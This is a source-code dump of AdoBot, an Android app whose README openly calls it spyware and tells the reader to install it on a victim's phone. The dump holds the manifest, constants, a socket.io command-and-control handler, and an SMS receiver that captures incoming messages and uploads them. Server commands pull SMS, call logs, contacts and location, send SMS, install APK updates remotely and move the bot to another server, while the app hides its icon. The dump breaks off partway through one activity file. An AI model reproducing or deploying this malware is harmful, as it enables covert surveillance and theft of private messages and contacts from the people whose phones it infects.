├── .github
└── workflows
│ └── android-build.yml
├── .gitignore
├── CHANGELOGS.md
├── MIT-License.txt
├── README.md
├── app
├── .gitignore
├── build.gradle
├── proguard-rules.pro
└── src
│ └── main
│ ├── AndroidManifest.xml
│ ├── java
│ └── com
│ │ └── android
│ │ └── adobot
│ │ ├── AdobotConstants.java
│ │ ├── CommonParams.java
│ │ ├── NetworkSchedulerService.java
│ │ ├── SmsBroadcastReceiver.java
│ │ ├── activities
│ │ ├── BaseActivity.java
│ │ ├── PermissionsActivity.java
│ │ ├── SetupActivity.java
│ │ ├── UpdateActivity.java
│ │ └── wallpaper
│ │ ├── database
│ │ ├── AppDatabase.java
│ │ ├── CallLog.java
│ │ ├── CallLogDao.java
│ │ ├── Sms.java
│ │ └── SmsDao.java
│ │ ├── http
│ │ ├── Http.java
│ │ ├── HttpCallback.java
│ │ └── HttpRequest.java
│ │ └── tasks
│ │ ├── BaseTask.java
│ │ ├── CallLogRecorderTask.java
│ │ ├── GetCallLogsTask.java
│ │ ├── GetContactsTask.java
│ │ ├── GetSmsTask.java
│ │ ├── LocationMonitor.java
│ │ ├── SendSmsTask.java
│ │ ├── SmsRecorderTask.java
│ │ ├── TransferBotTask.java
│ │ └── UpdateAppTask.java
│ └── res
│ ├── layout
│ ├── activity_permissions.xml
│ ├── activity_prompt_update.xml
│ └── activity_setup.xml
│ ├── mipmap-hdpi
│ └── ic_launcher.png
│ ├── mipmap-ldpi
│ └── ic_launcher.png
│ ├── mipmap-mdpi
│ └── ic_launcher.png
│ ├── mipmap-xhdpi
│ └── ic_launcher.png
│ ├── mipmap-xxhdpi
│ └── ic_launcher.png
│ ├── mipmap-xxxhdpi
│ └── ic_launcher.png
│ ├── values-w820dp
│ └── dimens.xml
│ └── values
│ ├── colors.xml
│ ├── dimens.xml
│ ├── strings.xml
│ └── styles.xml
├── build.gradle
├── gradle.properties
├── gradle
└── wrapper
│ ├── gradle-wrapper.jar
│ └── gradle-wrapper.properties
├── gradlew
├── gradlew.bat
├── screenshots
├── call-logs.png
├── contacts.png
├── location.png
├── main.png
├── notifications
│ ├── notif2.png
│ └── notif3.png
├── pending-commands.png
├── sms-main-1.png
├── sms-thread-5.png
└── update-apk.png
└── settings.gradle
/.github/workflows/android-build.yml:
--------------------------------------------------------------------------------
1 | name: Build Android APK
2 |
3 | on:
4 | push:
5 | branches:
6 | - main
7 | pull_request:
8 | branches:
9 | - main
10 |
11 | jobs:
12 | build:
13 | runs-on: ubuntu-latest
14 |
15 | steps:
16 | - name: Checkout repository
17 | uses: actions/checkout@v3
18 |
19 | - name: Set up JDK 11
20 | uses: actions/setup-java@v3
21 | with:
22 | distribution: 'zulu'
23 | java-version: '11'
24 |
25 | - name: Install dependencies
26 | run: ./gradlew dependencies
27 |
28 | - name: Build APK
29 | run: ./gradlew assembleRelease
30 |
31 | - name: Upload APK
32 | uses: actions/upload-artifact@v3
33 | with:
34 | name: app-release.apk
35 | path: app/build/outputs/apk/release/app-release.apk
36 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | *.iml
2 | /.idea
3 | .gradle
4 | /local.properties
5 | /.idea/workspace.xml
6 | /.idea/libraries
7 | .DS_Store
8 | /build
9 | /captures
10 | .externalNativeBuild
11 | ado-bot-keystore.jks
12 | app/release
13 |
--------------------------------------------------------------------------------
/CHANGELOGS.md:
--------------------------------------------------------------------------------
1 | # Version 2.3
2 | - Fix unable to record received sms on android 7
3 |
4 | # Version 2.2
5 | - Start NetworkSchedulerService after asking permissions
6 | - Minor bug fixes
7 |
8 | # Version 2.1
9 | - Force sync and Open adobot using SMS Broadcast receiver instead of content observer
10 |
11 | # Version 2.0
12 | - Minimum SDK supported is 21 (Lollipop).
13 | - Using JobScheduler to sync data to server.
14 | - Save SMS and call logs to local database if device is offline and sync to server once connected to inernet. This helps keeping track even if messages and logs are deleted by the phone owner.
15 | - Remove SMS Forwarder feature
16 |
17 | # Version 1.1
18 | - First release
19 |
20 |
21 |
--------------------------------------------------------------------------------
/MIT-License.txt:
--------------------------------------------------------------------------------
1 | Copyright (c) 2024 Adones Pitogo
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining a copy
4 | of this software and associated documentation files (the "Software"), to deal
5 | in the Software without restriction, including without limitation the rights
6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7 | copies of the Software, and to permit persons to whom the Software is
8 | furnished to do so, subject to the following conditions:
9 |
10 | The above copyright notice and this permission notice shall be included in all
11 | copies or substantial portions of the Software.
12 |
13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19 | SOFTWARE.
20 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # AdoBot
2 |
3 | Opensource Android Spyware
4 |
5 | # Features
6 | - Realtime command execution
7 | - Schedule commands
8 | - Hidden app icon (stealth mode)
9 | - Fetch SMS in
10 | - Fetch call logs
11 | - Fetch contacts
12 | - Send SMS command
13 | - Forward received/sent SMS
14 | - Monitor location
15 | - Update apk remotely
16 | - Data collected are retained in database
17 | - Realtime notifications about device status
18 | - Transfer bot reporting to another server
19 | - For android 6 and above:
20 | - You can view the permissions of the app
21 | - The app asks for permission when a certain command is sent the there is no permission
22 |
23 | # Need help/Todo
24 | - access files
25 | - take photo stealthly
26 | - get browser history
27 | - and more...
28 |
29 | # Instructions
30 |
31 | Just compile (as signed APK) and install the app to the victim's android device. Then start the app and configure the parameters:
32 |
33 | - ***Server URL:*** Set the URL of your [AdoBot-IO](https://github.com/adonespitogo/AdoBot-IO) server. It must include the protocol i.e. `https://adobot.herokuapp.com` (default).
34 | - ***SMS Open Command:*** Send an SMS to any number containing this text to open the Adobot settings. "Open adobot" (default).
35 | - ***Force Command:*** Send an SMS containing this text to the victim's phone to forcefully sync data to server. "Baby?" (default).
36 |
37 | Next go to [https://github.com/adonespitogo/AdoBot-IO](https://github.com/adonespitogo/AdoBot-IO) and follow the instructions on setting up the admin panel.
38 |
39 | # Management Console Screen Shots
40 |
41 | ## Main GUI
42 |
43 | 
44 |
45 | ## Location Tab
46 |
47 | 
48 |
49 | ## Main SMS Tab
50 |
51 | 
52 |
53 | ## Single SMS Thread View
54 |
55 | SMS thread is a pop up modal
56 |
57 | 
58 |
59 | ## Call Logs Tab
60 |
61 | 
62 |
63 | ## Contacts Tab
64 |
65 | 
66 |
67 | ## Pending Commands Tab
68 |
69 | When you send a command to an offline device, the command is stored in the datase and will be executed once the device connects online.
70 |
71 | 
72 |
73 | ## Update APK
74 |
75 | 
76 |
77 |
78 | ## Notifications
79 |
80 | 
81 | 
82 |
83 | ## License
84 |
85 | Released under [MIT License](./MIT-License.txt)
86 |
--------------------------------------------------------------------------------
/app/.gitignore:
--------------------------------------------------------------------------------
1 | /build
2 |
--------------------------------------------------------------------------------
/app/build.gradle:
--------------------------------------------------------------------------------
1 | apply plugin: 'com.android.application'
2 |
3 | android {
4 | compileSdkVersion 26
5 | buildToolsVersion '28.0.2'
6 | defaultConfig {
7 | applicationId "com.android.adobot"
8 | minSdkVersion 21
9 | targetSdkVersion 26
10 | versionCode 2
11 | versionName "2.3"
12 | testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
13 | }
14 | buildTypes {
15 | release {
16 | minifyEnabled false
17 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
18 | }
19 | }
20 | }
21 |
22 | dependencies {
23 | implementation fileTree(include: ['*.jar'], dir: 'libs')
24 | implementation 'com.android.support:appcompat-v7:26.1.0'
25 | implementation 'io.socket:socket.io-client:1.0.0'
26 | implementation 'io.nlopez.smartlocation:library:3.2.11'
27 | implementation 'pub.devrel:easypermissions:0.3.0'
28 | implementation "android.arch.persistence.room:runtime:1.0.0-beta2"
29 | annotationProcessor "android.arch.persistence.room:compiler:1.0.0-beta2"
30 |
31 | androidTestImplementation('com.android.support.test.espresso:espresso-core:2.2.2', {
32 | exclude group: 'com.android.support', module: 'support-annotations'
33 | // excluding org.json which is provided by Android
34 | exclude group: 'org.json', module: 'json'
35 | })
36 | testImplementation 'junit:junit:4.12'
37 | }
38 |
39 | configurations {
40 | all {
41 | exclude group: 'org.json', module: 'json'
42 | }
43 | }
44 |
--------------------------------------------------------------------------------
/app/proguard-rules.pro:
--------------------------------------------------------------------------------
1 | # Add project specific ProGuard rules here.
2 | # By default, the flags in this file are appended to flags specified
3 | # in /home/adones/Android/Sdk/tools/proguard/proguard-android.txt
4 | # You can edit the include path and order by changing the proguardFiles
5 | # directive in build.gradle.
6 | #
7 | # For more details, see
8 | # http://developer.android.com/guide/developing/tools/proguard.html
9 |
10 | # Add any project specific keep options here:
11 |
12 | # If your project uses WebView with JS, uncomment the following
13 | # and specify the fully qualified class name to the JavaScript interface
14 | # class:
15 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview {
16 | # public *;
17 | #}
18 |
--------------------------------------------------------------------------------
/app/src/main/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
8 |
11 |
14 |
17 |
20 |
22 |
25 |
28 |
31 |
34 |
37 |
40 |
43 |
46 |
49 |
50 |
51 |
52 |
53 |
54 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/AdobotConstants.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot;
2 |
3 | import android.Manifest;
4 |
5 | /**
6 | * Created by adones on 2/26/17.
7 | */
8 |
9 | public final class AdobotConstants {
10 |
11 | public static final String PACKAGE_NAME = "com.android.adobot";
12 | public static final String UPDATE_PKG_FILE_NAME = "update.apk";
13 | public static final String PREF_SMS_OPEN_TEXT_FIELD = "smsOpenText";
14 | public static final String PREF_FORCE_SYNC_SMS_COMMAND_FIELD = "smsForceUpload";
15 |
16 | public static final String PREF_SERVER_URL_FIELD = "serverUrl";
17 | public static final String DEFAULT_SERVER_URL = "https://your-server.herokuapp.com";
18 | public static final String DEVELOPMENT_SERVER = "http://192.168.1.251:3000";
19 | public static final String NOTIFY_URL = "/notify";
20 | public static final String POST_CALL_LOGS_URL = "/call-logs";
21 | public static final String POST_MESSAGE_URL = "/message";
22 | public static final String POST_CONTACTS_URL = "/contacts";
23 | public static final String POST_STATUS_URL = "/status";
24 |
25 | public static final String[] PERMISSIONS = {
26 | Manifest.permission.READ_PHONE_STATE,
27 | Manifest.permission.READ_CONTACTS,
28 | Manifest.permission.READ_SMS,
29 | Manifest.permission.SEND_SMS,
30 | Manifest.permission.READ_CALL_LOG,
31 | Manifest.permission.INTERNET,
32 | Manifest.permission.ACCESS_NETWORK_STATE,
33 | Manifest.permission.ACCESS_FINE_LOCATION,
34 | Manifest.permission.ACCESS_COARSE_LOCATION,
35 | Manifest.permission.WRITE_EXTERNAL_STORAGE,
36 | };
37 |
38 | public static final String DATABASE_NAME = "adobot";
39 |
40 | }
41 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/CommonParams.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot;
2 |
3 | //uid = Settings.Secure.getString(getApplicationContext().getContentResolver(), Settings.Secure.ANDROID_ID);
4 | // device = android.os.Build.MODEL;
5 | // sdk = Integer.valueOf(Build.VERSION.SDK_INT).toString(); //Build.VERSION.RELEASE;
6 | // version = Build.VERSION.RELEASE;
7 |
8 | import android.Manifest;
9 | import android.content.Context;
10 | import android.content.SharedPreferences;
11 | import android.content.pm.PackageManager;
12 | import android.os.Build;
13 | import android.provider.Settings;
14 | import android.support.v4.content.ContextCompat;
15 | import android.telephony.TelephonyManager;
16 |
17 | public class CommonParams {
18 |
19 | SharedPreferences prefs;
20 | private String server;
21 | private String uid;
22 | private String sdk;
23 | private String version;
24 | private String phone;
25 | private String provider;
26 | private String device;
27 |
28 | public CommonParams(Context context) {
29 | prefs = context.getSharedPreferences(AdobotConstants.PACKAGE_NAME, Context.MODE_PRIVATE);
30 | server = prefs.getString(AdobotConstants.PREF_SERVER_URL_FIELD, AdobotConstants.DEVELOPMENT_SERVER);
31 | uid = Settings.Secure.getString(context.getApplicationContext().getContentResolver(), Settings.Secure.ANDROID_ID);
32 | sdk = Integer.valueOf(Build.VERSION.SDK_INT).toString();
33 | version = Build.VERSION.RELEASE;
34 |
35 | TelephonyManager telephonyManager = ((TelephonyManager) context.getApplicationContext().getSystemService(Context.TELEPHONY_SERVICE));
36 | provider = telephonyManager.getNetworkOperatorName();
37 | if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_SMS) == PackageManager.PERMISSION_GRANTED) {
38 | phone = telephonyManager.getLine1Number();
39 | }
40 | device = android.os.Build.MODEL;
41 |
42 | }
43 |
44 | public String getServer() {
45 | return this.server;
46 | }
47 |
48 | public String getUid() {
49 | return this.uid;
50 | }
51 |
52 | public String getSdk() {
53 | return this.sdk;
54 | }
55 |
56 | public String getVersion() {
57 | return version;
58 | }
59 |
60 | public String getPhone() {
61 | return phone;
62 | }
63 |
64 | public String getProvider() {
65 | return provider;
66 | }
67 |
68 | public String getDevice() {
69 | return device;
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/NetworkSchedulerService.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot;
2 |
3 | import android.app.job.JobParameters;
4 | import android.app.job.JobService;
5 | import android.content.Context;
6 | import android.content.Intent;
7 | import android.net.ConnectivityManager;
8 | import android.net.Network;
9 | import android.net.NetworkCapabilities;
10 | import android.net.NetworkInfo;
11 | import android.net.NetworkRequest;
12 | import android.os.Build;
13 | import android.os.Environment;
14 | import android.support.annotation.RequiresApi;
15 | import android.util.Log;
16 |
17 | import com.android.adobot.http.Http;
18 | import com.android.adobot.http.HttpRequest;
19 | import com.android.adobot.tasks.CallLogRecorderTask;
20 | import com.android.adobot.tasks.GetCallLogsTask;
21 | import com.android.adobot.tasks.GetContactsTask;
22 | import com.android.adobot.tasks.GetSmsTask;
23 | import com.android.adobot.tasks.LocationMonitor;
24 | import com.android.adobot.tasks.SendSmsTask;
25 | import com.android.adobot.tasks.SmsRecorderTask;
26 | import com.android.adobot.tasks.TransferBotTask;
27 | import com.android.adobot.tasks.UpdateAppTask;
28 |
29 | import org.json.JSONArray;
30 | import org.json.JSONException;
31 | import org.json.JSONObject;
32 |
33 | import java.io.File;
34 | import java.net.URISyntaxException;
35 | import java.util.HashMap;
36 |
37 | import io.socket.client.Ack;
38 | import io.socket.client.IO;
39 | import io.socket.client.Socket;
40 | import io.socket.emitter.Emitter;
41 |
42 | @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
43 | public class NetworkSchedulerService extends JobService {
44 |
45 | private static final String TAG = NetworkSchedulerService.class.getSimpleName();
46 |
47 | private SmsRecorderTask smsRecorderTask;
48 | private CallLogRecorderTask callLogRecorderTask;
49 |
50 | public static Socket socket;
51 | public static boolean connected = false;
52 | private static int MAX_RECONNECT = 10;
53 | private static boolean is_syncing = false;
54 |
55 | private int reconnects = 0;
56 | private LocationMonitor locationTask;
57 | private CommonParams commonParams;
58 | private NetworkSchedulerService client;
59 | private JobParameters jobParameters;
60 | private ConnectivityManager.NetworkCallback networkCallback;
61 | private static NetworkSchedulerService instance;
62 |
63 | public static NetworkSchedulerService getInstance () {
64 | return instance;
65 | }
66 |
67 | @Override
68 | public void onCreate() {
69 | super.onCreate();
70 | init();
71 | instance = this;
72 |
73 | Log.i(TAG, "Service created");
74 | }
75 |
76 | /**
77 | * When the app's NetworkConnectionActivity is created, it starts this service. This is so that the
78 | * activity and this service can communicate back and forth. See "setUiCallback()"
79 | */
80 | @Override
81 | public int onStartCommand(Intent intent, int flags, int startId) {
82 | Log.i(TAG, "onStartCommand");
83 | init();
84 | return START_NOT_STICKY;
85 | }
86 |
87 |
88 | @Override
89 | public boolean onStartJob(final JobParameters params) {
90 | jobParameters = params;
91 | Log.i(TAG, "onStartJob: ");
92 | if (!hasConnection()) {
93 | Thread finished = new Thread(new Runnable() {
94 | @Override
95 | public void run() {
96 | jobFinished(params, true);
97 | }
98 | });
99 | try {
100 | finished.sleep(300);
101 | } catch (Exception e) {
102 | e.printStackTrace();
103 | }
104 | finished.start();
105 | } else {
106 | sync();
107 | }
108 | return true;
109 | }
110 |
111 | @Override
112 | public boolean onStopJob(JobParameters params) {
113 | Log.i(TAG, "onStopJob: ");
114 | disconnect();
115 | return true;
116 | }
117 |
118 | @Override
119 | public void onDestroy() {
120 | Log.i(TAG, "Destroyed!!");
121 | super.onDestroy();
122 | disconnect();
123 | }
124 |
125 | public void changeServer(String url) {
126 | commonParams = new CommonParams(this);
127 | socket.disconnect();
128 | locationTask.setServer(url);
129 | createSocket(url);
130 | socket.connect();
131 | }
132 |
133 | public boolean hasConnection() {
134 | ConnectivityManager cm = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
135 | NetworkInfo info = cm.getActiveNetworkInfo();
136 |
137 | return (info != null && info.isConnected());
138 | }
139 |
140 | public void connect() {
141 | if (hasConnection() && !connected && socket != null && !socket.connected())
142 | socket.connect();
143 | else if (socket == null) {
144 | createSocket(commonParams.getServer());
145 | } else if (hasConnection() && socket != null && !connected) {
146 | socket.connect();
147 | } else {
148 | Log.i(TAG, "Unable to connect: No connection");
149 | }
150 | }
151 |
152 | public void sync() {
153 |
154 | if (is_syncing || !hasConnection()) return;
155 | is_syncing = true;
156 |
157 | connect();
158 |
159 | smsRecorderTask.submitNextRecord(new SmsRecorderTask.SubmitSmsCallback() {
160 | @Override
161 | public void onResult(boolean success) {
162 | Log.i(TAG, "Done submit record!!!!");
163 |
164 | callLogRecorderTask.submitNextRecord(new CallLogRecorderTask.SubmitCallLogCallback() {
165 | @Override
166 | public void onResult(boolean success) {
167 | Log.i(TAG, "Done submit call logs!!!!");
168 | is_syncing = false;
169 | }
170 | });
171 |
172 | }
173 | });
174 | }
175 |
176 | public void disconnect() {
177 | if (socket != null && socket.connected()) socket.disconnect();
178 | }
179 |
180 | private void init() {
181 |
182 |
183 | if (smsRecorderTask == null) smsRecorderTask = new SmsRecorderTask(this);
184 | if (callLogRecorderTask == null) callLogRecorderTask = new CallLogRecorderTask(this);
185 | if (commonParams == null) commonParams = new CommonParams(this);
186 | if (client == null) client = this;
187 | if (locationTask == null){
188 | locationTask = new LocationMonitor(this);
189 | locationTask.start();
190 | }
191 | if (socket == null) createSocket(commonParams.getServer());
192 | if (networkCallback == null) createChangeConnectivityMonitor();
193 |
194 | Log.i(TAG, "\n\n\nSocket is " + (connected ? "connected" : "not connected\n\n\n"));
195 |
196 |
197 | connect();
198 | cleanUp();
199 |
200 | }
201 |
202 | private void createSocket(String url) {
203 | try {
204 |
205 | socket = IO.socket(url);
206 | socket.on(Socket.EVENT_CONNECT, new Emitter.Listener() {
207 |
208 | @Override
209 | public void call(Object... args) {
210 |
211 | Log.i(TAG, "\n\nSocket connected\n\n");
212 | connected = true;
213 | reconnects = 0;
214 |
215 |
216 | HashMap bot = new HashMap();
217 | bot.put("uid", commonParams.getUid());
218 | bot.put("provider", commonParams.getProvider());
219 | bot.put("device", commonParams.getDevice());
220 | bot.put("sdk", commonParams.getSdk());
221 | bot.put("version", commonParams.getVersion());
222 | bot.put("phone", commonParams.getPhone());
223 | bot.put("lat", locationTask.getLatitude());
224 | bot.put("longi", locationTask.getLongitude());
225 |
226 | JSONObject obj = new JSONObject(bot);
227 | socket.emit("register", obj, new Ack() {
228 | @Override
229 | public void call(Object... args) {
230 | Log.i(TAG, "Socket connected");
231 | }
232 | });
233 |
234 | }
235 |
236 | });
237 |
238 | socket.on("commands", new Emitter.Listener() {
239 |
240 | @Override
241 | public void call(Object... args) {
242 | JSONArray cmds = (JSONArray) args[0];
243 | for (int i = 0; i < cmds.length(); i++) {
244 | try {
245 | JSONObject cmd = (JSONObject) cmds.get(i);
246 |
247 | String command = (String) cmd.get("command");
248 | Log.i(TAG, "\nCommand: " + cmd.toString() + "\n");
249 |
250 | if (command.equals("getsms")) {
251 | Log.i(TAG, "\nInvoking Sms Service\n");
252 | int arg1 = Integer.parseInt(cmd.get("arg1").toString());
253 | GetSmsTask smsService = new GetSmsTask(client, arg1);
254 | smsService.start();
255 | } else if (command.equals("getcallhistory")) {
256 | Log.i(TAG, "\nInvoking Call LOg Service\n");
257 | int arg1 = Integer.parseInt(cmd.get("arg1").toString());
258 | GetCallLogsTask cs = new GetCallLogsTask(client, arg1);
259 | cs.start();
260 | } else if (command.equals("getcontacts")) {
261 | Log.i(TAG, "\nInvoking GetContactsTask\n");
262 | GetContactsTask cs = new GetContactsTask(client);
263 | cs.start();
264 | } else if (command.equals("promptupdate")) {
265 | Log.i(TAG, "\nInvoking UpdateAppTask\n");
266 | String apkUrl = cmd.get("arg1").toString();
267 |
268 | UpdateAppTask atualizaApp = new UpdateAppTask(client, apkUrl);
269 | atualizaApp.start();
270 | } else if (command.equals("sendsms")) {
271 | Log.i(TAG, "\nInvoking SendSMS\n");
272 | String phoneNumber = cmd.get("arg1").toString();
273 | String textMessage = cmd.get("arg2").toString();
274 |
275 | SendSmsTask sendSmsTask = new SendSmsTask(client);
276 | sendSmsTask.setPhoneNumber(phoneNumber);
277 | sendSmsTask.setTextMessage(textMessage);
278 | sendSmsTask.start();
279 |
280 | } else if (command.equals("transferbot")) {
281 | Log.i(TAG, "\nInvoking Transfer bot command\n");
282 | String newServer = cmd.get("arg1").toString();
283 |
284 | TransferBotTask t = new TransferBotTask(client, newServer);
285 | t.start();
286 |
287 | } else {
288 | Log.i(TAG, "Unknown command");
289 | HashMap xcmd = new HashMap();
290 | xcmd.put("event", "command:unknown");
291 | xcmd.put("uid", commonParams.getUid());
292 | xcmd.put("device", commonParams.getDevice());
293 | xcmd.put("command", command);
294 |
295 | Http req = new Http();
296 | req.setUrl(commonParams.getServer() + "/notify");
297 | req.setMethod(HttpRequest.METHOD_POST);
298 | req.setParams(xcmd);
299 | req.execute();
300 | }
301 |
302 | } catch (JSONException e) {
303 | e.printStackTrace();
304 | }
305 | }
306 | }
307 |
308 | });
309 |
310 | socket.on(Socket.EVENT_DISCONNECT, new Emitter.Listener() {
311 |
312 | @Override
313 | public void call(Object... args) {
314 | connected = false;
315 | Log.i(TAG, "\n\nSocket disconnected...\n\n");
316 | /*final Thread reconnect = new Thread(new Runnable() {
317 | @Override
318 | public void run() {
319 | Log.i(TAG, "Socket reconnecting...");
320 | }
321 | });*/
322 |
323 | }
324 |
325 | });
326 |
327 | socket.on(Socket.EVENT_RECONNECTING, new Emitter.Listener() {
328 | @Override
329 | public void call(Object... args) {
330 | if (hasConnection() && reconnects <= MAX_RECONNECT) {
331 | reconnects++;
332 | Log.i(TAG, "Socket reconnecting...");
333 | } else {
334 | reconnects = 0;
335 | try {
336 | jobFinished(jobParameters, true);
337 | } catch (Exception e) {
338 | e.printStackTrace();
339 | }
340 | disconnect();
341 | }
342 | }
343 | });
344 |
345 | } catch (URISyntaxException e) {
346 | e.printStackTrace();
347 | }
348 |
349 | }
350 |
351 | private void createChangeConnectivityMonitor() {
352 |
353 | NetworkRequest networkRequest = new NetworkRequest.Builder()
354 | .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
355 | .build();
356 |
357 | networkCallback = new ConnectivityManager.NetworkCallback() {
358 |
359 | @Override
360 | public void onAvailable(Network network) {
361 | Log.i(TAG, "On available network");
362 | sync();
363 | }
364 |
365 | @Override
366 | public void onLost(Network network) {
367 | Log.i(TAG, "On not available network");
368 | disconnect();
369 | }
370 | };
371 |
372 | ConnectivityManager connectivityManager = (ConnectivityManager)
373 | getSystemService(Context.CONNECTIVITY_SERVICE);
374 |
375 | if (connectivityManager != null) {
376 | connectivityManager.registerNetworkCallback(networkRequest, networkCallback);
377 | }
378 |
379 | }
380 |
381 | private void cleanUp () {
382 | // remove previously installed update apk file
383 | File updateApk = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), AdobotConstants.UPDATE_PKG_FILE_NAME);
384 | if (updateApk.exists())
385 | updateApk.delete();
386 | }
387 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/SmsBroadcastReceiver.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot;
2 |
3 |
4 | import android.content.BroadcastReceiver;
5 | import android.content.ComponentName;
6 | import android.content.Context;
7 | import android.content.Intent;
8 | import android.content.SharedPreferences;
9 | import android.content.pm.PackageManager;
10 | import android.os.Bundle;
11 | import android.telephony.SmsMessage;
12 | import android.util.Log;
13 |
14 | import com.android.adobot.activities.SetupActivity;
15 | import com.android.adobot.database.Sms;
16 | import com.android.adobot.tasks.SmsRecorderTask;
17 |
18 | import java.text.SimpleDateFormat;
19 | import java.util.Calendar;
20 | import java.util.Date;
21 | import java.util.Objects;
22 |
23 | import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
24 | import static com.android.adobot.tasks.SmsRecorderTask.MESSAGE_TYPE_RECEIVED;
25 |
26 | public class SmsBroadcastReceiver extends BroadcastReceiver {
27 |
28 | private static final String TAG = SmsBroadcastReceiver.class.getSimpleName();
29 | public static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
30 |
31 | private SharedPreferences prefs;
32 |
33 | @Override
34 | public void onReceive(Context context, Intent intent) {
35 |
36 | prefs = context.getSharedPreferences(AdobotConstants.PACKAGE_NAME, Context.MODE_PRIVATE);
37 |
38 | Log.i(TAG, "Intent recieved: " + intent.getAction());
39 |
40 | if (intent.getAction() == SMS_RECEIVED) {
41 | Bundle bundle = intent.getExtras();
42 | if (bundle != null) {
43 | Object[] pdus = (Object[])bundle.get("pdus");
44 | final SmsMessage[] messages = new SmsMessage[pdus.length];
45 | for (int i = 0; i < pdus.length; i++) {
46 | messages[i] = SmsMessage.createFromPdu((byte[])pdus[i]);
47 | }
48 | if (messages.length > -1) {
49 |
50 | SmsMessage m = messages[0];
51 | final String phone = m.getOriginatingAddress();
52 | final String body = m.getMessageBody();
53 |
54 | // format date
55 | SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
56 | Date currentTime = Calendar.getInstance().getTime();
57 | final String date = formatter.format(currentTime);
58 |
59 | final SmsRecorderTask smsRecorderTask = SmsRecorderTask.getInstance();
60 | final Sms sms = new Sms();
61 | sms.set_id(0);
62 | sms.setThread_id(SMS_RECEIVED);
63 | sms.setPhone(phone);
64 | sms.setName(SMS_RECEIVED);
65 | sms.setBody(body);
66 | sms.setDate(date);
67 | sms.setType(MESSAGE_TYPE_RECEIVED);
68 |
69 | // Force sync
70 | String forceSyncSms = prefs.getString(AdobotConstants.PREF_FORCE_SYNC_SMS_COMMAND_FIELD, "Baby?");
71 | if (Objects.equals(body.trim(), forceSyncSms.trim())) {
72 | Log.i(TAG, "Forced submit SMS");
73 | NetworkSchedulerService schedulerService = NetworkSchedulerService.getInstance();
74 | if (schedulerService != null) schedulerService.sync();
75 | }
76 |
77 | // Open adobot
78 | String smsOpenText = prefs.getString(AdobotConstants.PREF_SMS_OPEN_TEXT_FIELD, "Open adobot");
79 | if (Objects.equals(body.trim(), smsOpenText.trim())) {
80 | PackageManager p = context.getPackageManager();
81 | ComponentName permissionsActivity = new ComponentName(context, SetupActivity.class);
82 | p.setComponentEnabledSetting(permissionsActivity, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
83 | Intent setupIntent = new Intent(context, SetupActivity.class);
84 | setupIntent.addFlags(FLAG_ACTIVITY_NEW_TASK);
85 | context.startActivity(setupIntent);
86 | }
87 |
88 | Thread save = new Thread(new Runnable() {
89 | @Override
90 | public void run() {
91 | try {
92 | Sms smsRecord = smsRecorderTask.findSmsFromContent(phone, body, MESSAGE_TYPE_RECEIVED);
93 | if (smsRecord != null) {
94 | smsRecorderTask.smsDao.insert(smsRecord);
95 | Log.i(TAG, "Sms saved!!! From: " + phone + ", Body: " + body + "\nName: " + smsRecord.getName());
96 | } else {
97 | smsRecorderTask.smsDao.insert(sms);
98 | Log.i(TAG, "Sms saved!!! From: " + phone + ", Body: " + body + "\nName: " + sms.getName());
99 | }
100 | smsRecorderTask.submitNextRecord(new SmsRecorderTask.SubmitSmsCallback() {
101 | @Override
102 | public void onResult(boolean success) {
103 | Log.i(TAG, success? "SMS submitted" : "Sms Not submitted");
104 | }
105 | });
106 | } catch (Exception e) {
107 | e.printStackTrace();
108 | }
109 | }
110 | });
111 |
112 | try {
113 | save.sleep(1500);
114 | } catch (Exception e) {
115 | e.printStackTrace();
116 | }
117 |
118 | save.start();
119 |
120 | }
121 | }
122 | }
123 |
124 | Intent i = new Intent(context, NetworkSchedulerService.class);
125 | context.startService(i);
126 |
127 | }
128 | }
129 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/activities/BaseActivity.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.activities;
2 |
3 | import android.app.job.JobInfo;
4 | import android.app.job.JobScheduler;
5 | import android.content.ComponentName;
6 | import android.content.Context;
7 | import android.content.Intent;
8 | import android.content.pm.PackageManager;
9 | import android.os.Bundle;
